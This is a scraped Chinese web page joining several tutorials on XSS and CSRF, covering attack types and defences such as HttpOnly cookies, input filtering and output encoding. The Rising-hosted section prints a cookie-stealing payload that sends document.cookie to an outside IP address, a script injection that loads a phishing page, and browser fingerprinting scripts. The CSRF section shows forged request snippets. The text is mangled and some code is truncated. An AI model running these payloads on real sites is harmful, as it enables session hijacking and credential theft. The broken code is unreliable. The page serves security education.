反射性反射型跨站脚本漏洞攻击和存储性反射型跨站脚本漏洞攻击的区别

> 泥沙砖瓦浆木匠的博客详情
Writer:BYSocket(泥沙砖瓦浆木匠)
Reprint it anywhere u want.
文章Points: & 1. 认识XSS
& 2. XSS攻击
& 3. XSS防御(重点)
一、认识XSS先
& 先说个故事吧,在上一篇,我还想说这个案例。其实什么叫攻击,很简单。获取攻击者想要的信息,就黑成功了。抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行。OK,搞定了。所以,没有绝对的安全。
& 今天,泥瓦匠带你们认识下XSS,然后关于怎么防御的问题。至于防御的话,仁者见仁智者见智。尔等啥都不配不上的就绰见,望各位阅读者相互讨论。泥瓦匠目前是搞JAVA的,所以例子上JAVA比较多。
& Q: 什么是XSS? 为啥有这个呢?
& A: 全名:Cross Site Script,中文名:跨站脚本攻击。顾名思义,是指“HTML注入”纂改了网页,插入恶意的脚本,从而在用户用浏览网页的时候,控制用户浏览器的一种攻击。
& XSS根据攻击的稳定性可分为三种:反射型XSS, 存储型XSS,DOM Based XSS.
二、XSS攻击
& 再来了解下XSS,是如何攻击?泥瓦匠这时候想到一句话:知己知彼,百战百胜吧。这攻击我们不会很详细解释,毕竟想说的是XSS防御嘛。首先,泥瓦匠要介绍下的是:
& XSS Payload,所谓用以完成各种具体的功能的恶意脚本。这时候我想到了黑客精神中的小插曲,现在所谓的“黑客”不是真正的黑客,而是称为脚本小子(Script Kid)。常见的一个XSS Payload,就是通过读取浏览器的Cookie对象,从而发起了‘Cookie劫持’攻击。这个泥瓦匠会教你们去防御哈,其中Cookie的‘HttpOnly’标识可以防止哦。
& 强大的XSS Payload可以做以下的事情哈:1、构造 GET 与 POST 请求 2、各种钓鱼 3、识别用户浏览器 等等 Q&A
& Q:什么叫做钓鱼呢? & A:顾名思义,愿者上钩,这里做贬义用法。比如,人家用一个假的弹出框,或者假的页面让你输入QQ信息,或者啥账号信息。其实你一输入人家服务器获取到你的账户密码了。这就是鱼儿上钩了。 如图比喻:
三、XSS防御(重点)
& 兵来将挡,水来土掩。泥瓦匠在Web安全上,想提醒大家的是:“再高的树,猴子也能爬上去。”因此,我们考虑的地方有些默认都给你做好了,有些需要我们自己去关心,去设置。
& 其实在看不到的地方很多已经对抗XSS做了些措施。比如各种浏览器等。
& 一、按着上面的思路,泥瓦匠先聊下Cookie,一个Cookie,我们是这样使用的: &&& 1、浏览器下服务器发送请求,准备获取Cookie
&&& 2、服务器返回发送Cookie头,向客户端浏览器写入Cookie。(注意哦,这里是浏览器,不要当成什么浏览器内核)
&&& 3、在Cookie到期前,浏览器所有页面,都会发送Cookie。
& 这就意味着,我们Cookie不能乱用。就像Session一样,所以在使用的时候,要注意下。有时候Cooike在用于记住密码的时候,千万要注意要将Cookie设置HttpOnly属性为Ture。这里我以SpringMVC为例子。如果用到Cookie的时候,应该这样:
&&&&&&&&&// create cookie and set it in response
Cookie cookie1 = new Cookie("cookie1", "cookieValueHttpOnly");
Cookie cookie2 = new Cookie("cookie2", "cookieValue");
cookie1.setHttpOnly(true);
response.addCookie(cookie1);
response.addCookie(cookie2);
截个Controller整个代码看看:
我们打开浏览器可以看到下面这种结果,访问URL这个Controller层,打开Firebug查看:
& 二、输入校验
& 输入校验的逻辑必须放在服务端中实现。如果用JS进行的话,容易被攻击者绕过去。所以普遍的做法是,类似很多代码一样进行Double Check:”客户端JS校验和服务端校验一起,这样客户端JS校验会阻挡大部分甚至说99%的用户的误操作。”
& 在XSS防御上,我们需要对用户输入的一些特殊字符校验,过滤或者是编码。这种输入校验的方式成为“XSS Filter”。首先我们在配置文件中,
其中的路径配置当然,在你需要的地方配置下咯。然后泥瓦匠在这里写了个,Http请求装饰类,用来对这些参数的过滤。说干就干呗~实战出经验。
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
&&&&public XssHttpServletRequestWrapper(HttpServletRequest request)
&&&&&&&&super(request);
&&&&public String[] getParameterValues(String parameter)
&&&&&&&&String[] values = super.getParameterValues(parameter);
&&&&&&&&if (values==null)
&&&&&&&&&&&&
&&&&&&&&int count = values.
&&&&&&&&String[] encodedValues = new String[count];
&&&&&&&&for (int i = 0; i &
&&&&&&&&&&&&encodedValues[i] = cleanXSS(values[i]);
&&&&&&&&return encodedV
&&&&public String getParameter(String parameter)
&&&&&&&&String
&super.getParameter(parameter);
&&&&&&&&if (value == null)
&&&&&&&&&&&&
&&&&&&&&return cleanXSS(value);
&&&&public String getHeader(String name)
&&&&&&&&String
&super.getHeader(name);
&&&&&&&&if (value == null)
&&&&&&&&&&&&
&&&&&&&&return cleanXSS(value);
&&&&&&* @Title: cleanXSS
&&&&&&* @Description: You'll need to remove the spaces from the html entities below
&&&&&&* @return String
&&&&private String cleanXSS(String value)
&&&&&&&&value= value.replaceAll("&", "&").replaceAll("&", "&");
&&&&&&&&value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
&&&&&&&&value = value.replaceAll("'", "& #39;");
&&&&&&&&value = value.replaceAll("eval\\((.*)\\)", "");
&&&&&&&&value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
&&&&&&&&value = value.replaceAll("script", "");
& 三、输出校验
& 一般来说,除了富文本之外,在变量输出到HTML页面,可以使用编码或者转义的方式来防御XSS攻击。这是一种各家委婉的方式吧。
& 用兵之道在于,如何正确的使用,才能以少胜多。Web安全这场战争也一样,所以要如何正确的使用XSS防御。
Writer:BYSocket(泥沙砖瓦浆木匠)
Reprint it anywhere u want.
人打赏支持
开源项目作者
领取时间:
作为一个开源项目作者,是时候站出来拯救世界了!
领取条件:开源项目被开源中国收录的开发者可领取
码字总数 130866
测试一下不要介意!
测试一下不要介意! 不介意
测试一下不要介意! 不介意 ...
基本上所有的富文本编辑器都是使用白名单方式过滤编辑内容的代码,因此对于在提交过程中被篡改的富文本标签,后端代码在入库等操作时也应该进行白名单二次过滤。
支付宝支付
微信扫码支付
打赏金额: ¥
已支付成功
打赏金额: ¥
& 开源中国(OSChina.NET) |
开源中国社区(OSChina.net)是工信部
指定的官方社区Web攻防系列教程之跨站脚本攻击和防范技巧详解
摘要:XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了有针对性的具体实例分析。
XSS跨站脚本攻击一直都被认为是客户端Web安全中最主流的攻击方式。因为Web环境的复杂性以及XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决。那么,XSS跨站脚本攻击具体攻击行为是什么,又该如何进行有效的防范呢?本文对此进行了有针对性的具体实例分析。跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。下面这个页面的主要作用是获取用户输入的参数作为用户名,并在页面中显示“欢迎您,XXX”的形式,具体代码如下:&?php$username = $_GET[&name&];echo &&p&欢迎您, &.$username.&!&/p&&;?&正常情况下,用户会在URL中提交参数name的值为自己的姓名,然后该数据内容会通过以上代码在页面中展示,如用户提交姓名为“张三”,完整的URL地址如下:http://localhost/test.php?name=张三在浏览器中访问时,会显示如下图1所示内容: 图1此时,因为用户输入的数据信息为正常数据信息,经过脚本处理以后页面反馈的源码内容为&p&欢迎您, 张三!&/p&。但是如果用户提交的数据中包含有可能被浏览器执行的代码的话,会是一种什么情况呢?我们继续提交name的值为&script&alert(/我的名字是张三/)&/script&,即完整的URL地址为http://localhost/test.php?name=&script&alert(/我的名字是张三/)&/script&在浏览器中访问时,我们发现会有弹窗提示,如下图2所示: 图2那么此时页面的源码又是什么情况呢?源码变成了“&p&欢迎您, &script&alert(/我的名字是张三/)&/script&!&/p&”,从源代码中我们发现,用户输入的数据中,&script&与&/script&标签中的代码被浏览器执行了,而这并不是网页脚本程序想要的结果。这个例子正是最简单的一种XSS跨站脚本攻击的形式,称之为反射型XSS。XSS跨站脚本攻击的分类根据XSS跨站脚本攻击存在的形式及产生的效果,可以将其分为以下三类。一、 反射型XSS跨站脚本攻击反射型XSS脚本攻击即如我们上面所提到的XSS跨站脚本攻击方式,该类型只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。二、 存储型XSS跨站脚本攻击存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,因此存储型XSS具有较强的稳定性。存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户,都会在他们客户端浏览器环境中执行插入的恶意代码。如流行的Bo-Blog程序的早期版本中存在对用户提交评论数据过滤不严导致的XSS跨站脚本攻击漏洞,黑客可以在文章评论中提交插入恶意数据的UBB代码,提交后,Bo-Blog程序会将数据保存至数据库中,当用户浏览该日志时,就会执行插入的恶意代码,如图3所示。 图3三、 基于DOM的XSS跨站脚本攻击基于DOM的XSS跨站脚本攻击是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。让我们来针对如下代码进行详细分析:&html&&head&&title&DOM Based XSS Demo&/title&&script&function xsstest(){ var str = document.getElementById(&input&). document.getElementById(&output&).innerHTML = &&img src='&+str+&'&&/img&&;}&/script&&/head&&body&&div id=&output&&&/div&&input type=&text& id=&input& size=50 value=&& /&&input type=&button& value=&提交& onclick=&xsstest()& /&&/body&&/html&以上代码的作用是提交一个图片的URL地址以后,程序会将图片在页面中进行展示,如我们提交百度LOGO图片的地址/img/baidu_sylogo1.gif,那么在页面中展示结果如下图4所示。 图4当用户输入完百度LOGO的地址,点击“提交”按钮后,“提交”按钮的onclick事件会调用xsstest()函数。而xsstest()函数会获取用户提交的地址,通过innerHTML将页面的DOM节点进行修改,把用户提交的数据以HTML代码的形式写入页面中并进行展示。以上例子中输出的HTML代码为“&img src=” /img/baidu_sylogo1.gif”&&/img&”。以上情况为正常的用户输入情况,那黑客又是怎么利用该种类型代码实现XSS跨站脚本攻击的呢?黑客可以通过构造如下数据,输入“#’ onerror=’javascript:alert(/DOM Based XSS Test/)”,在浏览器中提交后,发现代码果然被执行,出现了弹窗提示,如下图5所示。 图5XSS跨站脚本攻击实例以上是针对XSS跨站脚本攻击三种类型的简单介绍。看了上面的描述朋友们或许会想,难道仅仅弹出一个提示框就是XSS跨站脚本攻击了吗?答案当然是否定的,XSS跨站脚本攻击的利用可以实现多种效果,甚至可以说XSS跨站脚本攻击漏洞的利用是一种黑客攻击的艺术,下面我们结合具体实例进行详细的分析和描述,了解一下XSS跨站脚本攻击都能做些什么事情。 XSS跨站脚本攻击利用钓鱼目前,网络钓鱼攻击的方式比较多,包括申请注册相似域名,构建相似度高的网站环境和发布虚假中奖信息等,但是以上钓鱼攻击方式针对有一定安全意识的网民来说,很难实现成功的钓鱼攻击。然而通过XSS跨站脚本攻击漏洞进行的钓鱼攻击,即使有一定安全意识的网民,也无法抵御。这里我们以盛大游戏论坛的XSS跨站脚本攻击漏洞利用的钓鱼攻击演示(目前,该漏洞已经修复)。首先,我们需要了解的是,盛大的游戏登录都是使用盛大通行证进行登录的,而盛大的游戏论坛也是使用盛大通行证进行登录,所以,如果黑客通过盗取游戏玩家登录论坛时的信息,就相当于盗取了玩家游戏账号和密码。盛大的游戏论坛就存在XSS跨站脚本攻击漏洞,使得黑客可以通过该漏洞获取用户的账号和密码。存在过滤不严的位置为用户资料中的个人主页部分,通过在个人主页栏中输入如下代码:[url]http://'' STYLE='a:expression(document.write(&&s\143ript language=javas\143ript src=/1.jpg Charset=GB23&&/s\143ript&&))' target=_blank[/url]然后利用该账号在论坛中发帖子或回复,这样当其他玩家访问我们发布或回复的帖子时,就会执行我们插入的恶意代码。/1.jpg就是我们构造的恶意代码,这个代码是我们用来钓鱼的页面,如下图6所示:
图6显示的内容和盛大官方游戏论坛登录的页面一样,如果不通过查看网页源代码的方式是无法从页面显示中看出任何问题的,当玩家输入通行证账号和密码信息并点击登录时,账号提交的地址不是盛大的服务器,而是黑客的服务器。从源码中,可以看到账号和密码发送到的黑客服务器账号接收程序的地址,如下图7所示: 图7XSS跨站脚本攻击盗取用户Cookie信息通过XSS跨站脚本攻击盗取用户Cookie信息一直是XSS跨站脚本攻击漏洞利用的最主流方式之一。当用户正常登录Web应用程序时,用户会从服务端得到一个包含有会话令牌的cookie:Set-Cookie: SessionID=F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3黑客则可以通过XSS跨站脚本攻击的方式将嵌入恶意代码的页面发送给用户,当用户点击浏览时,黑客即可获取用户的Cookie信息并用该信息欺骗服务器端,无需账号密码即可直接成功登录。这里我们以网易邮箱的XSS跨站脚本攻击漏洞为例进行分析和描述。网易邮箱老版本中,曾经存在一个XSS跨站脚本攻击漏洞,黑客可以构造如下代码:&XML ID=I&&X&&C&&![CDATA[&IMG SRC=&javas]]&&![CDATA[cript:xx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(document.URL)+'&cookie='+escape(document.cookie);& width=0 height=0&]]& &/C&&/X&&/xml&&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN& 图8并将包含有如图8所示恶意代码的邮件发送至网易邮箱用户时,用户打开了含有恶意代码的邮件后,代码就会自动将用户的cookie信息发送到61.130.75.239上的163.asp文件,其中163.asp的作用是记录发送过来的Cookie,记录的Cookie内容如下图9所示: 图9在接收到Cookie以后,就可以通过Cookie欺骗的方式实现登录目标邮箱了,如图10所示。 图10 XSS跨站脚本攻击搜集客户端环境信息搜集客户端环境信息在更多的时候主要应用于指定目标的渗透攻击或网络挂马攻击,如了解客户端环境所使用的浏览器信息、操作系统信息、组件是否安装以及安全防护软件安装情况等。通过XSS跨站脚本攻击可以更加方便、快速地实现客户端环境信息的收集。那么如何通过javascript收集以上信息呢?我们构造如下脚本代码,并在浏览器中执行这段代码。&script&alert(navigator.userAgent);&/script&得到的结果如下图11所示。 图11这个信息中告诉了我们以上关心的两个信息,一个是浏览器的类型和版本,另外一个是客户端环境操作系统的版本。浏览器:MSIE 8.0(微软IE浏览器,浏览器版本是8.0)操作系统:Windows NT 6.1(操作系统类型是windows 7)通过以上方式可以获取客户端的浏览器和操作系统信息,接下来我们在继续判断客户端环境组件安装情况。构造代码如下:&script&try{ var object = new ActiveXObject(&XunLeiBHO.ThunderIEHelper&);} catch(e){ alert(&迅雷软件未安装&);}&/script&客户端环境中如果安装迅雷下载软件的话,那么就会安装相应的ActiveX控件XunLeiBHO.ThunderIEHelper,以上脚本的作用即是通过网页脚本去加载迅雷的ActiveX控件,如果控件存在则不会抛出异常,否则就会抛出异常并被脚本捕获,运行上面的脚本代码时,安装有迅雷的环境不会有任何提示,未安装迅雷的环境就会弹窗提示“迅雷软件未安装”。控件判断可以通过网页加载ActiveX控件的方式实现,那么怎么通过脚本判断客户端环境中是否安装了安全软件呢?这里我们以瑞星安全软件为例,分析描述如何通过XSS跨站脚本攻击漏洞的利用检测客户端环境是否存在瑞星安全软件。我们构造代码如下:&script&var havesoft= var disk=['c','d']; var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];for(i=0;i&soft.i++){
for(j=0;j&disk.j++)
var img=new Image();
res='res://'+disk[j]+soft[i];
if(img.height!=30)
}&/script&以上代码的作用是通过javascript结合res协议对客户端环境中的资源文件进行加载,javascript脚本运行后,会对客户端环境的C、D盘进行访问,访问是否存在瑞星默认安装路径的资源文件,并尝试对资源文件进行加载,如果加载成功,则说明资源文件存在,也说明瑞星安全软件的存在,并将变量havesoft置为真,脚本检测结束后,只需要检测该变量是否为真即可。XSS Worm相对于以上三种情况,可以说是XSS蠕虫(XSS Worm)的破坏力和影响力都是巨大的。XSS蠕虫主要发生在用户之间存在交互行为的页面中,当Web应用程序对用户输入的数据信息没有做严格的过滤时,通过结合Ajax的异步提交,就可以实现在植入恶意代码的同时,将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫。谈到XSS蠕虫就很有必要介绍一下新浪微博遭受XSS蠕虫攻击事件,同时我们也以此次攻击事件作为例子,对黑客恶意利用漏洞至XSS蠕虫大范围扩散的过程进行详细分析和描述,并对该XSS蠕虫的恶意脚本文件进行一下简要的分析。此处请参见拙作《》,不再赘述。XSS跨站脚本攻击的防范通过以上针对不同种情况的XSS跨站脚本攻击的描述,我们了解到了在复杂的Web环境中,XSS的利用是千变万化的,如何能够有效地防范XSS跨站脚本攻击问题一直都是浏览器厂商和网站安全技术人员关注的热门话题。现在很多浏览器厂商都在自己的程序中增加了防范XSS跨站脚本攻击的措施,如IE浏览器从IE8开始内置了XSS筛选器,Firefox也有相应的CSP、Noscript扩展等。而对于网站的安全技术人员来说,提出高效的技术解决方案,保护用户免受XSS跨站脚本攻击才是关键。下面我们结合网站安全设计,描述一下如何通过技术手段实现XSS跨站脚本攻击的防范。利用HttpOnlyHttpOnly最初是由微软提出的,目前已经被多款流行浏览器厂商所采用。HttpOnly的作用不是过滤XSS跨站脚本攻击,而是浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie,解决XSS跨站脚本攻击后的Cookie会话劫持行为。httpOnly是在Set-Cookie时进行标记的,设置的Cookie头格式如下:
Set-Cookie: &name&=&value&[; &name&=&value&]
[; expires=&date&][; domain=&domain_name&]
[; path=&some_path&][; secure][; HttpOnly]以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,如
setcookie(&user&, &admin&, NULL, NULL, NULL, NULL, TRUE);
?&通过以上代码就可以设置user这个cookie,将其设置为HttpOnly,setcookie函数实质是通过向客户端发送原始的HTTP报文头进行设置的,document将不可见这个Cookie,所以使用document.cookie就取不到这个Cookie,也就是先了对Cookie的保护。 完善的输入和输出检查由于三种XSS跨站脚本攻击类型的漏洞成因可不相同,针对输入输出的检查一部分适用于反射型XSS与存储型XSS,而另外一些检查适用于基于DOM的XSS。A. 防范反射型XSS和存储型XSS输入检查在大多数的时候都是对可信字符的检查或输入数据格式的检查,如用户输入的注册账号信息中只允许包括字母、数字、下划线和汉字等,对于输入的一切非白名单内的字符均认为是非法输入。数据格式如输入的IP地址、电话号码、邮件地址、日期等数据都具有一定的格式规范,只有符合数据规范的输入信息才允许通过检查。输出检查主要是针对数据展示过程中,应该对数据信息进行HTML编码处理,将可能存在导致XSS跨站脚本攻击的恶意字符进行编码,在不影响正常数据显示的前提条件下,过滤恶意字符。常见的可能造成XSS跨站脚本攻击的字符及其HTML编码如下:“ &‘ && && &
&除了常用的编码外,任何字符都可以使用其ASCII码进行HTML编码,如
* *B. 防范基于DOM的XSS从基于DOM的XSS的定义及其触发方式我们发现,当基于DOM的XSS跨站脚本攻击发生时,恶意数据的格式与传统的XSS跨站脚本攻击数据格式有一定的差异,甚至可以在不经过服务器端的处理和相应的情况下,直接对客户端实施攻击行为,因此上述我们应用于防范反射型XSS和存储型XSS的方法并不适用于防范基于DOM的XSS跨站脚本攻击。针对基于DOM的XSS防范的输入检查方法,我们发现在客户端部署相应的安全检测代码的过滤效果要比在服务器端检测的效果更加明显。例如,我们可以通过如下客户端检测代码来保证用户输入的数据只包含字母、数字和空格,代码如下:&script&var str = document.URL;str = str.substring(str.indexOf(&username=&)+9, str.length);str = unescape(str);var regex=/^([A-Za-z0-9+\s])*$/;if (regex.test(str)) document.write(str);&/script&同样,我们也可以通过在服务端实现类似上述数据检查的功能,如在服务器端检测URL参数是否为预定的参数username,并对username参数的内容进行检测,确认数据内容是否为只包含数字、字母和空格符,实现服务端的数据过滤。但是,由于客户端数据的可控性,这种服务端检测的效果要明显弱于客户端检测。基于DOM的XSS输出检查与反射型XSS漏洞输出检查的方法相似,在将用户可控的DOM数据内容插入到文档之前,Web应用程序应对提交的数据进行HTML编码处理,将用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中进行展现,如可以通过如下函数实现在客户端javascript中执行HTML编码处理。function jsEncode(str){ var d = document.createElement('div'); d.appendChild(document.createTextNode(str)); return d.innerHTML;}XSS跨站脚本攻击作为Web应用安全领域中最大威胁之一,不仅仅危害Web应用业务的正常运营,对访问Web应用业务的客户端环境和用户也带来了直接安全影响。虽然XSS跨站脚本攻击在复杂的Web应用环境中利用方式千变万化,但是网络安全人员通过对Web应用的各种环境进行详细分析和处理,完全阻断XSS跨站脚本攻击是可以实现的。如何有效防范和阻止XSS跨站脚本攻击,保障Web应用系统的业务安全和正常运营,保护客户端用户免受XSS跨站脚本攻击行为的侵害,是Web应用系统管理人员和网络安全产品开发人员的共同职责。
[责任编辑:秦溢博]
地址:北京市中关村大街22号o中科大厦1305室&&邮编:100190&&总机:(010)&&传真:(010)
版权所有&北京瑞星信息技术有限公司&&许可证号:京ICP证080383号&京ICP备号
备案编号:京公海网安备号&&&反射型跨站脚本攻...
扫描二维码,下载文件到手机
当前文件信息
浏览:291次
您的VIP会员已过期,是否续费?
用户应遵守著作权法,尊重著作权人合法权益,不违法上传、存储并分享他人作品。举报邮箱:
京网文[0号 京ICP证100780号XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结。 - 博客频道 - CSDN.NET
好记性不如烂笔头
分类:http
之前就了解过这方面的知识,但是没有系统地总结。今天在这总结一下,也让自己在接下来的面试有个清晰的概念。
XSS跨站脚本攻击:
xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。Xss是攻击者在web页面插入恶意的代码。当用户浏览该页面的时候,代码执行,从而实现攻击目的。对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
XSS跨站脚本攻击分为:
反射性XSS,也就是非持久性XSS。用户点击攻击链接,服务器解析后响应,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被web server反射回来给浏览器执行,所以称为反射型XSS。
下面举例子说明:
http://?username=yang
hello yang
http://?username=&script&alert("xss")&/script&
你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?
指通过提交恶意数据到服务器的数据库。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序-&进入数据库-&Web程序-&用户浏览器。
说一个很常见的微博评论:如果不做过滤的话,很容易造成持久性xss攻击,当用户访问已经被插入恶意代码的页面,很容易被攻击。
DOM-based XSS
基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的输入来动态构造一个DOM节点,如果没有对用户的输入进行过滤,那么也就导致XSS攻击的产生。
&!DOCTYPE html&
lang="en"&
charset="UTF-8"&
action="#"&
&please input your name:&
type="text" id="username"&
id="sbm" type="submit" value="submit"&
id="container"&
function getUserName(){
var btn=document.getElementById("sbm");
btn.addEventListener("click",function(e){
e.preventDefault();
document.getElementById("container").innerHTML=document.getElementById("username").
getUserName();
如果我在输入框中输入&img src="1" onerror="alert('xss')"&会出现什么情况
这时候很容易被攻击了。
现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等。
下面说几点防御的方法:
  原则:不相信客户输入的数据
攻击代码不一定在&script&&/script&中
  1.使用XSS Filter。
  输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:& & ‘ “ & # \ javascript expression
"onclick="
"onfocus";过滤或移除特殊的Html标签, 例如: &script&, &iframe& ,
& for &, & for &, &quot for;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。
  输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如& & &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。
  2.DOM型的XSS攻击防御
  把变量输出到页面时要做好相关的编码转义工作,如要输出到 &script&中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
  3.HttpOnly Cookie
  将重要的cookie标记为http only,
这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:
CSRF跨站请求伪造攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。危害是攻击者可以盗用你的身份,以你的名义发送恶意请求。比如可以盗取你的账号,以你的身份发送邮件,购买商品等。
下面是借用别人的一张原理图:来自:
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 :
1.登录受信任网站A,并在本地生成Cookie 。
2.在不退出A的情况下,访问危险网站B。
下面用具体的代码说明:
//如果一个博客删除文章是使用的是get方法,如
http://?delete=2
//那么网站serverB只要伪造一个get请求就可以实现上面的目的
src="http://?delete=2"&
//如果是post方法的话,也可以用javascript实现。
action="http://" method="POST"&
type="text" name="delete" value="2" /&
& document.forms[0].submit(); &
//但这里强调一点:现在游览器(chrome,firfox)为了安全考虑,默认都做了一定的限制,form标签发送到其他网站的请求会被拦截,大家有兴趣模拟这种情况时需要注意这个问题。
既然CSRF攻击危害那么严重,我们如何去防范呢?下面总结几种防范的知识点;服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:1、正确使用GET,POST和Cookie;2、在非GET请求中增加伪随机数。
1.对于关键操作我们应该采用post方法。
2.CSRF在攻击的时候往往是在用户不情的情况下提交的,我们可以使用验证码来强制跟用户交互,但是太多强制性的操作对用户来说体验感不好,所以要权衡利弊。
3.在重要的请求中添加Token,目前主流的做法是使用Token抵御CSRF攻击。CSRF攻击成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求,所以我们可以加大这个预测的难度,加入一些黑客不能伪造的信息。我们在提交表单时,保持原有参数不变,另外添加一个参数Token,该值可以是随机并且加密的,当提交表单时,客户端也同时提交这个token,然后由服务端验证,验证通过才是有效的请求。但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。
4.检测Referer.所谓Referer,就是在一个网络请求头中的键值对,标示着目前的请求是从哪个页面过来的。服务器通过检查Referer的值,如果判断出Referer并非本站页面,而是一个外部站点的页面,那么我们就可以判断出这个请求是非法的。与此同时,我们也就检测到了一次csrf攻击。但是,服务器有时候并不能接收Referer值,所以单纯地只通过Referer来防御是不太合理的,它因此经常用于csrf的检测。
参考资料链接:
排名:千里之外
(12)(1)(3)(1)(4)(2)(7)(1)(1)(2)(1)(6)

我要回帖

更多关于 反射型跨站脚本 的文章

 

随机推荐